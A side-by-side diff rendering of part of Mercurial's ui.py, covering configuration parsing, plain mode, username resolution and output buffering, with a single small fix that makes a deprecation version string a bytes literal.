713 | Returns a 2-tuple of ``(option, sub-options)``, where `sub-options`` |
|
713 | Returns a 2-tuple of ``(option, sub-options)``, where `sub-options`` | |
714 | is a dict of defined sub-options where keys and values are strings. |
|
714 | is a dict of defined sub-options where keys and values are strings. | |
715 | """ |
|
715 | """ | |
716 | main = self.config(section, name, default, untrusted=untrusted) |
|
716 | main = self.config(section, name, default, untrusted=untrusted) | |
717 | data = self._data(untrusted) |
|
717 | data = self._data(untrusted) | |
718 | sub = {} |
|
718 | sub = {} | |
719 | prefix = b'%s:' % name |
|
719 | prefix = b'%s:' % name | |
720 | for k, v in data.items(section): |
|
720 | for k, v in data.items(section): | |
721 | if k.startswith(prefix): |
|
721 | if k.startswith(prefix): | |
722 | sub[k[len(prefix) :]] = v |
|
722 | sub[k[len(prefix) :]] = v | |
723 |
|
723 | |||
724 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
724 | if self.debugflag and not untrusted and self._reportuntrusted: | |
725 | for k, v in sub.items(): |
|
725 | for k, v in sub.items(): | |
726 | uvalue = self._ucfg.get(section, b'%s:%s' % (name, k)) |
|
726 | uvalue = self._ucfg.get(section, b'%s:%s' % (name, k)) | |
727 | if uvalue is not None and uvalue != v: |
|
727 | if uvalue is not None and uvalue != v: | |
728 | self.debug( |
|
728 | self.debug( | |
729 | b'ignoring untrusted configuration option ' |
|
729 | b'ignoring untrusted configuration option ' | |
730 | b'%s:%s.%s = %s\n' % (section, name, k, uvalue) |
|
730 | b'%s:%s.%s = %s\n' % (section, name, k, uvalue) | |
731 | ) |
|
731 | ) | |
732 |
|
732 | |||
733 | return main, sub |
|
733 | return main, sub | |
734 |
|
734 | |||
735 | def configpath(self, section, name, default=_unset, untrusted=False): |
|
735 | def configpath(self, section, name, default=_unset, untrusted=False): | |
736 | """get a path config item, expanded relative to repo root or config |
|
736 | """get a path config item, expanded relative to repo root or config | |
737 | file""" |
|
737 | file""" | |
738 | v = self.config(section, name, default, untrusted) |
|
738 | v = self.config(section, name, default, untrusted) | |
739 | if v is None: |
|
739 | if v is None: | |
740 | return None |
|
740 | return None | |
741 | if not os.path.isabs(v) or b"://" not in v: |
|
741 | if not os.path.isabs(v) or b"://" not in v: | |
742 | src = self.configsource(section, name, untrusted) |
|
742 | src = self.configsource(section, name, untrusted) | |
743 | if b':' in src: |
|
743 | if b':' in src: | |
744 | base = os.path.dirname(src.rsplit(b':')[0]) |
|
744 | base = os.path.dirname(src.rsplit(b':')[0]) | |
745 | v = os.path.join(base, os.path.expanduser(v)) |
|
745 | v = os.path.join(base, os.path.expanduser(v)) | |
746 | return v |
|
746 | return v | |
747 |
|
747 | |||
748 | def configbool(self, section, name, default=_unset, untrusted=False): |
|
748 | def configbool(self, section, name, default=_unset, untrusted=False): | |
749 | """parse a configuration element as a boolean |
|
749 | """parse a configuration element as a boolean | |
750 |
|
750 | |||
751 | >>> u = ui(); s = b'foo' |
|
751 | >>> u = ui(); s = b'foo' | |
752 | >>> u.setconfig(s, b'true', b'yes') |
|
752 | >>> u.setconfig(s, b'true', b'yes') | |
753 | >>> u.configbool(s, b'true') |
|
753 | >>> u.configbool(s, b'true') | |
754 | True |
|
754 | True | |
755 | >>> u.setconfig(s, b'false', b'no') |
|
755 | >>> u.setconfig(s, b'false', b'no') | |
756 | >>> u.configbool(s, b'false') |
|
756 | >>> u.configbool(s, b'false') | |
757 | False |
|
757 | False | |
758 | >>> u.configbool(s, b'unknown') |
|
758 | >>> u.configbool(s, b'unknown') | |
759 | False |
|
759 | False | |
760 | >>> u.configbool(s, b'unknown', True) |
|
760 | >>> u.configbool(s, b'unknown', True) | |
761 | True |
|
761 | True | |
762 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
762 | >>> u.setconfig(s, b'invalid', b'somevalue') | |
763 | >>> u.configbool(s, b'invalid') |
|
763 | >>> u.configbool(s, b'invalid') | |
764 | Traceback (most recent call last): |
|
764 | Traceback (most recent call last): | |
765 | ... |
|
765 | ... | |
766 | ConfigError: foo.invalid is not a boolean ('somevalue') |
|
766 | ConfigError: foo.invalid is not a boolean ('somevalue') | |
767 | """ |
|
767 | """ | |
768 |
|
768 | |||
769 | v = self._config(section, name, default, untrusted=untrusted) |
|
769 | v = self._config(section, name, default, untrusted=untrusted) | |
770 | if v is None: |
|
770 | if v is None: | |
771 | return v |
|
771 | return v | |
772 | if v is _unset: |
|
772 | if v is _unset: | |
773 | if default is _unset: |
|
773 | if default is _unset: | |
774 | return False |
|
774 | return False | |
775 | return default |
|
775 | return default | |
776 | if isinstance(v, bool): |
|
776 | if isinstance(v, bool): | |
777 | return v |
|
777 | return v | |
778 | b = stringutil.parsebool(v) |
|
778 | b = stringutil.parsebool(v) | |
779 | if b is None: |
|
779 | if b is None: | |
780 | raise error.ConfigError( |
|
780 | raise error.ConfigError( | |
781 | _(b"%s.%s is not a boolean ('%s')") % (section, name, v) |
|
781 | _(b"%s.%s is not a boolean ('%s')") % (section, name, v) | |
782 | ) |
|
782 | ) | |
783 | return b |
|
783 | return b | |
784 |
|
784 | |||
785 | def configwith( |
|
785 | def configwith( | |
786 | self, convert, section, name, default=_unset, desc=None, untrusted=False |
|
786 | self, convert, section, name, default=_unset, desc=None, untrusted=False | |
787 | ): |
|
787 | ): | |
788 | """parse a configuration element with a conversion function |
|
788 | """parse a configuration element with a conversion function | |
789 |
|
789 | |||
790 | >>> u = ui(); s = b'foo' |
|
790 | >>> u = ui(); s = b'foo' | |
791 | >>> u.setconfig(s, b'float1', b'42') |
|
791 | >>> u.setconfig(s, b'float1', b'42') | |
792 | >>> u.configwith(float, s, b'float1') |
|
792 | >>> u.configwith(float, s, b'float1') | |
793 | 42.0 |
|
793 | 42.0 | |
794 | >>> u.setconfig(s, b'float2', b'-4.25') |
|
794 | >>> u.setconfig(s, b'float2', b'-4.25') | |
795 | >>> u.configwith(float, s, b'float2') |
|
795 | >>> u.configwith(float, s, b'float2') | |
796 | -4.25 |
|
796 | -4.25 | |
797 | >>> u.configwith(float, s, b'unknown', 7) |
|
797 | >>> u.configwith(float, s, b'unknown', 7) | |
798 | 7.0 |
|
798 | 7.0 | |
799 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
799 | >>> u.setconfig(s, b'invalid', b'somevalue') | |
800 | >>> u.configwith(float, s, b'invalid') |
|
800 | >>> u.configwith(float, s, b'invalid') | |
801 | Traceback (most recent call last): |
|
801 | Traceback (most recent call last): | |
802 | ... |
|
802 | ... | |
803 | ConfigError: foo.invalid is not a valid float ('somevalue') |
|
803 | ConfigError: foo.invalid is not a valid float ('somevalue') | |
804 | >>> u.configwith(float, s, b'invalid', desc=b'womble') |
|
804 | >>> u.configwith(float, s, b'invalid', desc=b'womble') | |
805 | Traceback (most recent call last): |
|
805 | Traceback (most recent call last): | |
806 | ... |
|
806 | ... | |
807 | ConfigError: foo.invalid is not a valid womble ('somevalue') |
|
807 | ConfigError: foo.invalid is not a valid womble ('somevalue') | |
808 | """ |
|
808 | """ | |
809 |
|
809 | |||
810 | v = self.config(section, name, default, untrusted) |
|
810 | v = self.config(section, name, default, untrusted) | |
811 | if v is None: |
|
811 | if v is None: | |
812 | return v # do not attempt to convert None |
|
812 | return v # do not attempt to convert None | |
813 | try: |
|
813 | try: | |
814 | return convert(v) |
|
814 | return convert(v) | |
815 | except (ValueError, error.ParseError): |
|
815 | except (ValueError, error.ParseError): | |
816 | if desc is None: |
|
816 | if desc is None: | |
817 | desc = pycompat.sysbytes(convert.__name__) |
|
817 | desc = pycompat.sysbytes(convert.__name__) | |
818 | raise error.ConfigError( |
|
818 | raise error.ConfigError( | |
819 | _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v) |
|
819 | _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v) | |
820 | ) |
|
820 | ) | |
821 |
|
821 | |||
822 | def configint(self, section, name, default=_unset, untrusted=False): |
|
822 | def configint(self, section, name, default=_unset, untrusted=False): | |
823 | """parse a configuration element as an integer |
|
823 | """parse a configuration element as an integer | |
824 |
|
824 | |||
825 | >>> u = ui(); s = b'foo' |
|
825 | >>> u = ui(); s = b'foo' | |
826 | >>> u.setconfig(s, b'int1', b'42') |
|
826 | >>> u.setconfig(s, b'int1', b'42') | |
827 | >>> u.configint(s, b'int1') |
|
827 | >>> u.configint(s, b'int1') | |
828 | 42 |
|
828 | 42 | |
829 | >>> u.setconfig(s, b'int2', b'-42') |
|
829 | >>> u.setconfig(s, b'int2', b'-42') | |
830 | >>> u.configint(s, b'int2') |
|
830 | >>> u.configint(s, b'int2') | |
831 | -42 |
|
831 | -42 | |
832 | >>> u.configint(s, b'unknown', 7) |
|
832 | >>> u.configint(s, b'unknown', 7) | |
833 | 7 |
|
833 | 7 | |
834 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
834 | >>> u.setconfig(s, b'invalid', b'somevalue') | |
835 | >>> u.configint(s, b'invalid') |
|
835 | >>> u.configint(s, b'invalid') | |
836 | Traceback (most recent call last): |
|
836 | Traceback (most recent call last): | |
837 | ... |
|
837 | ... | |
838 | ConfigError: foo.invalid is not a valid integer ('somevalue') |
|
838 | ConfigError: foo.invalid is not a valid integer ('somevalue') | |
839 | """ |
|
839 | """ | |
840 |
|
840 | |||
841 | return self.configwith( |
|
841 | return self.configwith( | |
842 | int, section, name, default, b'integer', untrusted |
|
842 | int, section, name, default, b'integer', untrusted | |
843 | ) |
|
843 | ) | |
844 |
|
844 | |||
845 | def configbytes(self, section, name, default=_unset, untrusted=False): |
|
845 | def configbytes(self, section, name, default=_unset, untrusted=False): | |
846 | """parse a configuration element as a quantity in bytes |
|
846 | """parse a configuration element as a quantity in bytes | |
847 |
|
847 | |||
848 | Units can be specified as b (bytes), k or kb (kilobytes), m or |
|
848 | Units can be specified as b (bytes), k or kb (kilobytes), m or | |
849 | mb (megabytes), g or gb (gigabytes). |
|
849 | mb (megabytes), g or gb (gigabytes). | |
850 |
|
850 | |||
851 | >>> u = ui(); s = b'foo' |
|
851 | >>> u = ui(); s = b'foo' | |
852 | >>> u.setconfig(s, b'val1', b'42') |
|
852 | >>> u.setconfig(s, b'val1', b'42') | |
853 | >>> u.configbytes(s, b'val1') |
|
853 | >>> u.configbytes(s, b'val1') | |
854 | 42 |
|
854 | 42 | |
855 | >>> u.setconfig(s, b'val2', b'42.5 kb') |
|
855 | >>> u.setconfig(s, b'val2', b'42.5 kb') | |
856 | >>> u.configbytes(s, b'val2') |
|
856 | >>> u.configbytes(s, b'val2') | |
857 | 43520 |
|
857 | 43520 | |
858 | >>> u.configbytes(s, b'unknown', b'7 MB') |
|
858 | >>> u.configbytes(s, b'unknown', b'7 MB') | |
859 | 7340032 |
|
859 | 7340032 | |
860 | >>> u.setconfig(s, b'invalid', b'somevalue') |
|
860 | >>> u.setconfig(s, b'invalid', b'somevalue') | |
861 | >>> u.configbytes(s, b'invalid') |
|
861 | >>> u.configbytes(s, b'invalid') | |
862 | Traceback (most recent call last): |
|
862 | Traceback (most recent call last): | |
863 | ... |
|
863 | ... | |
864 | ConfigError: foo.invalid is not a byte quantity ('somevalue') |
|
864 | ConfigError: foo.invalid is not a byte quantity ('somevalue') | |
865 | """ |
|
865 | """ | |
866 |
|
866 | |||
867 | value = self._config(section, name, default, untrusted) |
|
867 | value = self._config(section, name, default, untrusted) | |
868 | if value is _unset: |
|
868 | if value is _unset: | |
869 | if default is _unset: |
|
869 | if default is _unset: | |
870 | default = 0 |
|
870 | default = 0 | |
871 | value = default |
|
871 | value = default | |
872 | if not isinstance(value, bytes): |
|
872 | if not isinstance(value, bytes): | |
873 | return value |
|
873 | return value | |
874 | try: |
|
874 | try: | |
875 | return util.sizetoint(value) |
|
875 | return util.sizetoint(value) | |
876 | except error.ParseError: |
|
876 | except error.ParseError: | |
877 | raise error.ConfigError( |
|
877 | raise error.ConfigError( | |
878 | _(b"%s.%s is not a byte quantity ('%s')") |
|
878 | _(b"%s.%s is not a byte quantity ('%s')") | |
879 | % (section, name, value) |
|
879 | % (section, name, value) | |
880 | ) |
|
880 | ) | |
881 |
|
881 | |||
882 | def configlist(self, section, name, default=_unset, untrusted=False): |
|
882 | def configlist(self, section, name, default=_unset, untrusted=False): | |
883 | """parse a configuration element as a list of comma/space separated |
|
883 | """parse a configuration element as a list of comma/space separated | |
884 | strings |
|
884 | strings | |
885 |
|
885 | |||
886 | >>> u = ui(); s = b'foo' |
|
886 | >>> u = ui(); s = b'foo' | |
887 | >>> u.setconfig(s, b'list1', b'this,is "a small" ,test') |
|
887 | >>> u.setconfig(s, b'list1', b'this,is "a small" ,test') | |
888 | >>> u.configlist(s, b'list1') |
|
888 | >>> u.configlist(s, b'list1') | |
889 | ['this', 'is', 'a small', 'test'] |
|
889 | ['this', 'is', 'a small', 'test'] | |
890 | >>> u.setconfig(s, b'list2', b'this, is "a small" , test ') |
|
890 | >>> u.setconfig(s, b'list2', b'this, is "a small" , test ') | |
891 | >>> u.configlist(s, b'list2') |
|
891 | >>> u.configlist(s, b'list2') | |
892 | ['this', 'is', 'a small', 'test'] |
|
892 | ['this', 'is', 'a small', 'test'] | |
893 | """ |
|
893 | """ | |
894 | # default is not always a list |
|
894 | # default is not always a list | |
895 | v = self.configwith( |
|
895 | v = self.configwith( | |
896 | stringutil.parselist, section, name, default, b'list', untrusted |
|
896 | stringutil.parselist, section, name, default, b'list', untrusted | |
897 | ) |
|
897 | ) | |
898 | if isinstance(v, bytes): |
|
898 | if isinstance(v, bytes): | |
899 | return stringutil.parselist(v) |
|
899 | return stringutil.parselist(v) | |
900 | elif v is None: |
|
900 | elif v is None: | |
901 | return [] |
|
901 | return [] | |
902 | return v |
|
902 | return v | |
903 |
|
903 | |||
904 | def configdate(self, section, name, default=_unset, untrusted=False): |
|
904 | def configdate(self, section, name, default=_unset, untrusted=False): | |
905 | """parse a configuration element as a tuple of ints |
|
905 | """parse a configuration element as a tuple of ints | |
906 |
|
906 | |||
907 | >>> u = ui(); s = b'foo' |
|
907 | >>> u = ui(); s = b'foo' | |
908 | >>> u.setconfig(s, b'date', b'0 0') |
|
908 | >>> u.setconfig(s, b'date', b'0 0') | |
909 | >>> u.configdate(s, b'date') |
|
909 | >>> u.configdate(s, b'date') | |
910 | (0, 0) |
|
910 | (0, 0) | |
911 | """ |
|
911 | """ | |
912 | if self.config(section, name, default, untrusted): |
|
912 | if self.config(section, name, default, untrusted): | |
913 | return self.configwith( |
|
913 | return self.configwith( | |
914 | dateutil.parsedate, section, name, default, b'date', untrusted |
|
914 | dateutil.parsedate, section, name, default, b'date', untrusted | |
915 | ) |
|
915 | ) | |
916 | if default is _unset: |
|
916 | if default is _unset: | |
917 | return None |
|
917 | return None | |
918 | return default |
|
918 | return default | |
919 |
|
919 | |||
920 | def configdefault(self, section, name): |
|
920 | def configdefault(self, section, name): | |
921 | """returns the default value of the config item""" |
|
921 | """returns the default value of the config item""" | |
922 | item = self._knownconfig.get(section, {}).get(name) |
|
922 | item = self._knownconfig.get(section, {}).get(name) | |
923 | itemdefault = None |
|
923 | itemdefault = None | |
924 | if item is not None: |
|
924 | if item is not None: | |
925 | if callable(item.default): |
|
925 | if callable(item.default): | |
926 | itemdefault = item.default() |
|
926 | itemdefault = item.default() | |
927 | else: |
|
927 | else: | |
928 | itemdefault = item.default |
|
928 | itemdefault = item.default | |
929 | return itemdefault |
|
929 | return itemdefault | |
930 |
|
930 | |||
931 | def hasconfig(self, section, name, untrusted=False): |
|
931 | def hasconfig(self, section, name, untrusted=False): | |
932 | return self._data(untrusted).hasitem(section, name) |
|
932 | return self._data(untrusted).hasitem(section, name) | |
933 |
|
933 | |||
934 | def has_section(self, section, untrusted=False): |
|
934 | def has_section(self, section, untrusted=False): | |
935 | '''tell whether section exists in config.''' |
|
935 | '''tell whether section exists in config.''' | |
936 | return section in self._data(untrusted) |
|
936 | return section in self._data(untrusted) | |
937 |
|
937 | |||
938 | def configitems(self, section, untrusted=False, ignoresub=False): |
|
938 | def configitems(self, section, untrusted=False, ignoresub=False): | |
939 | items = self._data(untrusted).items(section) |
|
939 | items = self._data(untrusted).items(section) | |
940 | if ignoresub: |
|
940 | if ignoresub: | |
941 | items = [i for i in items if b':' not in i[0]] |
|
941 | items = [i for i in items if b':' not in i[0]] | |
942 | if self.debugflag and not untrusted and self._reportuntrusted: |
|
942 | if self.debugflag and not untrusted and self._reportuntrusted: | |
943 | for k, v in self._ucfg.items(section): |
|
943 | for k, v in self._ucfg.items(section): | |
944 | if self._tcfg.get(section, k) != v: |
|
944 | if self._tcfg.get(section, k) != v: | |
945 | self.debug( |
|
945 | self.debug( | |
946 | b"ignoring untrusted configuration option " |
|
946 | b"ignoring untrusted configuration option " | |
947 | b"%s.%s = %s\n" % (section, k, v) |
|
947 | b"%s.%s = %s\n" % (section, k, v) | |
948 | ) |
|
948 | ) | |
949 | return items |
|
949 | return items | |
950 |
|
950 | |||
951 | def walkconfig(self, untrusted=False): |
|
951 | def walkconfig(self, untrusted=False): | |
952 | cfg = self._data(untrusted) |
|
952 | cfg = self._data(untrusted) | |
953 | for section in cfg.sections(): |
|
953 | for section in cfg.sections(): | |
954 | for name, value in self.configitems(section, untrusted): |
|
954 | for name, value in self.configitems(section, untrusted): | |
955 | yield section, name, value |
|
955 | yield section, name, value | |
956 |
|
956 | |||
957 | def plain(self, feature=None): |
|
957 | def plain(self, feature=None): | |
958 | """is plain mode active? |
|
958 | """is plain mode active? | |
959 |
|
959 | |||
960 | Plain mode means that all configuration variables which affect |
|
960 | Plain mode means that all configuration variables which affect | |
961 | the behavior and output of Mercurial should be |
|
961 | the behavior and output of Mercurial should be | |
962 | ignored. Additionally, the output should be stable, |
|
962 | ignored. Additionally, the output should be stable, | |
963 | reproducible and suitable for use in scripts or applications. |
|
963 | reproducible and suitable for use in scripts or applications. | |
964 |
|
964 | |||
965 | The only way to trigger plain mode is by setting either the |
|
965 | The only way to trigger plain mode is by setting either the | |
966 | `HGPLAIN' or `HGPLAINEXCEPT' environment variables. |
|
966 | `HGPLAIN' or `HGPLAINEXCEPT' environment variables. | |
967 |
|
967 | |||
968 | The return value can either be |
|
968 | The return value can either be | |
969 | - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT |
|
969 | - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT | |
970 | - False if feature is disabled by default and not included in HGPLAIN |
|
970 | - False if feature is disabled by default and not included in HGPLAIN | |
971 | - True otherwise |
|
971 | - True otherwise | |
972 | """ |
|
972 | """ | |
973 | if ( |
|
973 | if ( | |
974 | b'HGPLAIN' not in encoding.environ |
|
974 | b'HGPLAIN' not in encoding.environ | |
975 | and b'HGPLAINEXCEPT' not in encoding.environ |
|
975 | and b'HGPLAINEXCEPT' not in encoding.environ | |
976 | ): |
|
976 | ): | |
977 | return False |
|
977 | return False | |
978 | exceptions = ( |
|
978 | exceptions = ( | |
979 | encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',') |
|
979 | encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',') | |
980 | ) |
|
980 | ) | |
981 | # TODO: add support for HGPLAIN=+feature,-feature syntax |
|
981 | # TODO: add support for HGPLAIN=+feature,-feature syntax | |
982 | if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split( |
|
982 | if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split( | |
983 | b',' |
|
983 | b',' | |
984 | ): |
|
984 | ): | |
985 | exceptions.append(b'strictflags') |
|
985 | exceptions.append(b'strictflags') | |
986 | if feature and exceptions: |
|
986 | if feature and exceptions: | |
987 | return feature not in exceptions |
|
987 | return feature not in exceptions | |
988 | return True |
|
988 | return True | |
989 |
|
989 | |||
990 | def username(self, acceptempty=False): |
|
990 | def username(self, acceptempty=False): | |
991 | """Return default username to be used in commits. |
|
991 | """Return default username to be used in commits. | |
992 |
|
992 | |||
993 | Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL |
|
993 | Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL | |
994 | and stop searching if one of these is set. |
|
994 | and stop searching if one of these is set. | |
995 | If not found and acceptempty is True, returns None. |
|
995 | If not found and acceptempty is True, returns None. | |
996 | If not found and ui.askusername is True, ask the user, else use |
|
996 | If not found and ui.askusername is True, ask the user, else use | |
997 | ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname". |
|
997 | ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname". | |
998 | If no username could be found, raise an Abort error. |
|
998 | If no username could be found, raise an Abort error. | |
999 | """ |
|
999 | """ | |
1000 | user = encoding.environ.get(b"HGUSER") |
|
1000 | user = encoding.environ.get(b"HGUSER") | |
1001 | if user is None: |
|
1001 | if user is None: | |
1002 | user = self.config(b"ui", b"username") |
|
1002 | user = self.config(b"ui", b"username") | |
1003 | if user is not None: |
|
1003 | if user is not None: | |
1004 | user = os.path.expandvars(user) |
|
1004 | user = os.path.expandvars(user) | |
1005 | if user is None: |
|
1005 | if user is None: | |
1006 | user = encoding.environ.get(b"EMAIL") |
|
1006 | user = encoding.environ.get(b"EMAIL") | |
1007 | if user is None and acceptempty: |
|
1007 | if user is None and acceptempty: | |
1008 | return user |
|
1008 | return user | |
1009 | if user is None and self.configbool(b"ui", b"askusername"): |
|
1009 | if user is None and self.configbool(b"ui", b"askusername"): | |
1010 | user = self.prompt(_(b"enter a commit username:"), default=None) |
|
1010 | user = self.prompt(_(b"enter a commit username:"), default=None) | |
1011 | if user is None and not self.interactive(): |
|
1011 | if user is None and not self.interactive(): | |
1012 | try: |
|
1012 | try: | |
1013 | user = b'%s@%s' % ( |
|
1013 | user = b'%s@%s' % ( | |
1014 | procutil.getuser(), |
|
1014 | procutil.getuser(), | |
1015 | encoding.strtolocal(socket.getfqdn()), |
|
1015 | encoding.strtolocal(socket.getfqdn()), | |
1016 | ) |
|
1016 | ) | |
1017 | self.warn(_(b"no username found, using '%s' instead\n") % user) |
|
1017 | self.warn(_(b"no username found, using '%s' instead\n") % user) | |
1018 | except KeyError: |
|
1018 | except KeyError: | |
1019 | pass |
|
1019 | pass | |
1020 | if not user: |
|
1020 | if not user: | |
1021 | raise error.Abort( |
|
1021 | raise error.Abort( | |
1022 | _(b'no username supplied'), |
|
1022 | _(b'no username supplied'), | |
1023 | hint=_(b"use 'hg config --edit' " b'to set your username'), |
|
1023 | hint=_(b"use 'hg config --edit' " b'to set your username'), | |
1024 | ) |
|
1024 | ) | |
1025 | if b"\n" in user: |
|
1025 | if b"\n" in user: | |
1026 | raise error.Abort( |
|
1026 | raise error.Abort( | |
1027 | _(b"username %r contains a newline\n") % pycompat.bytestr(user) |
|
1027 | _(b"username %r contains a newline\n") % pycompat.bytestr(user) | |
1028 | ) |
|
1028 | ) | |
1029 | return user |
|
1029 | return user | |
1030 |
|
1030 | |||
1031 | def shortuser(self, user): |
|
1031 | def shortuser(self, user): | |
1032 | """Return a short representation of a user name or email address.""" |
|
1032 | """Return a short representation of a user name or email address.""" | |
1033 | if not self.verbose: |
|
1033 | if not self.verbose: | |
1034 | user = stringutil.shortuser(user) |
|
1034 | user = stringutil.shortuser(user) | |
1035 | return user |
|
1035 | return user | |
1036 |
|
1036 | |||
1037 | def expandpath(self, loc, default=None): |
|
1037 | def expandpath(self, loc, default=None): | |
1038 | """Return repository location relative to cwd or from [paths]""" |
|
1038 | """Return repository location relative to cwd or from [paths]""" | |
1039 | msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil' |
|
1039 | msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil' | |
1040 | self.deprecwarn(msg, b'6.0') |
|
1040 | self.deprecwarn(msg, b'6.0') | |
1041 | try: |
|
1041 | try: | |
1042 | p = self.getpath(loc) |
|
1042 | p = self.getpath(loc) | |
1043 | if p: |
|
1043 | if p: | |
1044 | return p.rawloc |
|
1044 | return p.rawloc | |
1045 | except error.RepoError: |
|
1045 | except error.RepoError: | |
1046 | pass |
|
1046 | pass | |
1047 |
|
1047 | |||
1048 | if default: |
|
1048 | if default: | |
1049 | try: |
|
1049 | try: | |
1050 | p = self.getpath(default) |
|
1050 | p = self.getpath(default) | |
1051 | if p: |
|
1051 | if p: | |
1052 | return p.rawloc |
|
1052 | return p.rawloc | |
1053 | except error.RepoError: |
|
1053 | except error.RepoError: | |
1054 | pass |
|
1054 | pass | |
1055 |
|
1055 | |||
1056 | return loc |
|
1056 | return loc | |
1057 |
|
1057 | |||
1058 | @util.propertycache |
|
1058 | @util.propertycache | |
1059 | def paths(self): |
|
1059 | def paths(self): | |
1060 | return urlutil.paths(self) |
|
1060 | return urlutil.paths(self) | |
1061 |
|
1061 | |||
1062 | def getpath(self, *args, **kwargs): |
|
1062 | def getpath(self, *args, **kwargs): | |
1063 | """see paths.getpath for details |
|
1063 | """see paths.getpath for details | |
1064 |
|
1064 | |||
1065 | This method exist as `getpath` need a ui for potential warning message. |
|
1065 | This method exist as `getpath` need a ui for potential warning message. | |
1066 | """ |
|
1066 | """ | |
1067 | msg = b'ui.getpath is deprecated, use `get_*` functions from urlutil' |
|
1067 | msg = b'ui.getpath is deprecated, use `get_*` functions from urlutil' | |
1068 | self.deprecwarn(msg, '6.0') |
|
1068 | self.deprecwarn(msg, b'6.0') | |
1069 | return self.paths.getpath(self, *args, **kwargs) |
|
1069 | return self.paths.getpath(self, *args, **kwargs) | |
1070 |
|
1070 | |||
1071 | @property |
|
1071 | @property | |
1072 | def fout(self): |
|
1072 | def fout(self): | |
1073 | return self._fout |
|
1073 | return self._fout | |
1074 |
|
1074 | |||
1075 | @fout.setter |
|
1075 | @fout.setter | |
1076 | def fout(self, f): |
|
1076 | def fout(self, f): | |
1077 | self._fout = f |
|
1077 | self._fout = f | |
1078 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
1078 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) | |
1079 |
|
1079 | |||
1080 | @property |
|
1080 | @property | |
1081 | def ferr(self): |
|
1081 | def ferr(self): | |
1082 | return self._ferr |
|
1082 | return self._ferr | |
1083 |
|
1083 | |||
1084 | @ferr.setter |
|
1084 | @ferr.setter | |
1085 | def ferr(self, f): |
|
1085 | def ferr(self, f): | |
1086 | self._ferr = f |
|
1086 | self._ferr = f | |
1087 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
1087 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) | |
1088 |
|
1088 | |||
1089 | @property |
|
1089 | @property | |
1090 | def fin(self): |
|
1090 | def fin(self): | |
1091 | return self._fin |
|
1091 | return self._fin | |
1092 |
|
1092 | |||
1093 | @fin.setter |
|
1093 | @fin.setter | |
1094 | def fin(self, f): |
|
1094 | def fin(self, f): | |
1095 | self._fin = f |
|
1095 | self._fin = f | |
1096 |
|
1096 | |||
1097 | @property |
|
1097 | @property | |
1098 | def fmsg(self): |
|
1098 | def fmsg(self): | |
1099 | """Stream dedicated for status/error messages; may be None if |
|
1099 | """Stream dedicated for status/error messages; may be None if | |
1100 | fout/ferr are used""" |
|
1100 | fout/ferr are used""" | |
1101 | return self._fmsg |
|
1101 | return self._fmsg | |
1102 |
|
1102 | |||
1103 | @fmsg.setter |
|
1103 | @fmsg.setter | |
1104 | def fmsg(self, f): |
|
1104 | def fmsg(self, f): | |
1105 | self._fmsg = f |
|
1105 | self._fmsg = f | |
1106 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) |
|
1106 | self._fmsgout, self._fmsgerr = _selectmsgdests(self) | |
1107 |
|
1107 | |||
1108 | def pushbuffer(self, error=False, subproc=False, labeled=False): |
|
1108 | def pushbuffer(self, error=False, subproc=False, labeled=False): | |
1109 | """install a buffer to capture standard output of the ui object |
|
1109 | """install a buffer to capture standard output of the ui object | |
1110 |
|
1110 | |||
1111 | If error is True, the error output will be captured too. |
|
1111 | If error is True, the error output will be captured too. | |
1112 |
|
1112 | |||
1113 | If subproc is True, output from subprocesses (typically hooks) will be |
|
1113 | If subproc is True, output from subprocesses (typically hooks) will be | |
1114 | captured too. |
|
1114 | captured too. | |
1115 |
|
1115 | |||
1116 | If labeled is True, any labels associated with buffered |
|
1116 | If labeled is True, any labels associated with buffered | |
1117 | output will be handled. By default, this has no effect |
|
1117 | output will be handled. By default, this has no effect | |
1118 | on the output returned, but extensions and GUI tools may |
|
1118 | on the output returned, but extensions and GUI tools may | |
1119 | handle this argument and returned styled output. If output |
|
1119 | handle this argument and returned styled output. If output | |
1120 | is being buffered so it can be captured and parsed or |
|
1120 | is being buffered so it can be captured and parsed or | |
1121 | processed, labeled should not be set to True. |
|
1121 | processed, labeled should not be set to True. | |
1122 | """ |
|
1122 | """ | |
1123 | self._buffers.append([]) |
|
1123 | self._buffers.append([]) | |
1124 | self._bufferstates.append((error, subproc, labeled)) |
|
1124 | self._bufferstates.append((error, subproc, labeled)) | |
1125 | self._bufferapplylabels = labeled |
|
1125 | self._bufferapplylabels = labeled | |
1126 |
|
1126 | |||
1127 | def popbuffer(self): |
|
1127 | def popbuffer(self): | |
1128 | '''pop the last buffer and return the buffered output''' |
|
1128 | '''pop the last buffer and return the buffered output''' | |
1129 | self._bufferstates.pop() |
|
1129 | self._bufferstates.pop() | |
1130 | if self._bufferstates: |
|
1130 | if self._bufferstates: | |
1131 | self._bufferapplylabels = self._bufferstates[-1][2] |
|
1131 | self._bufferapplylabels = self._bufferstates[-1][2] | |
1132 | else: |
|
1132 | else: | |
1133 | self._bufferapplylabels = None |
|
1133 | self._bufferapplylabels = None | |
1134 |
|
1134 | |||
1135 | return b"".join(self._buffers.pop()) |
|
1135 | return b"".join(self._buffers.pop()) | |
1136 |
|
1136 | |||
1137 | def _isbuffered(self, dest): |
|
1137 | def _isbuffered(self, dest): | |
1138 | if dest is self._fout: |
|
